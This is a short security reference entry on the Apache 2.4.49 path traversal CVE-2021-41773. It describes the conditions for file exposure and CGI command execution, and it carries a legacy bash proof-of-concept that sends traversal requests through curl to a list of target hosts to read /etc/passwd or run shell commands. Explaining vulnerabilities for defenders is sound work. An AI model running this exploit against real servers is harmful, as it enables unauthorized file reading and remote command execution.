Apache: CVE-2021-41773 path traversal
Conditions for path traversal and CGI command execution in Apache HTTP Server 2.4.49.
CVE-2021-41773 affects Apache HTTP Server 2.4.49. Path traversal can expose files outside aliased directories when access controls permit it; CGI-enabled paths can additionally permit command execution. A version banner alone proves neither condition.
CVE-2021-41773 (LFI & RCE)
Legacy proof-of-concept script
This imported script sends POST requests, including for its file-read example. Review its behavior before use; it is not a passive version check.
#!/bin/bash
if [[ $1 == '' ]]; [[ $2 == '' ]]; then
echo Set [TAGET-LIST.TXT] [PATH] [COMMAND]
echo ./PoC.sh targets.txt /etc/passwd
exit
fi
for host in $(cat $1); do
echo $host
curl -s --path-as-is -d "echo Content-Type: text/plain; echo; $3" "$host/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e$2"; doneExploit it with the following commands:
# LFI
bash exploit.sh targets.txt /etc/passwd
# RCE
bash exploit.sh targets.txt /bin/sh whoamiSource: Apache advisory.
Provenance and confidence
- Version
- 2
- Sources reviewed
- 2026-11-23
- Confidence
- medium — Legacy RTFM; v2 editorial review on 2026-11-23 qualifies traversal/CGI conditions using the Apache advisory. Legacy PoC is retained but not executed.
Also searched as: apache, cve-2021-41773, traversée de répertoire, lfi apache, exécution de commandes apache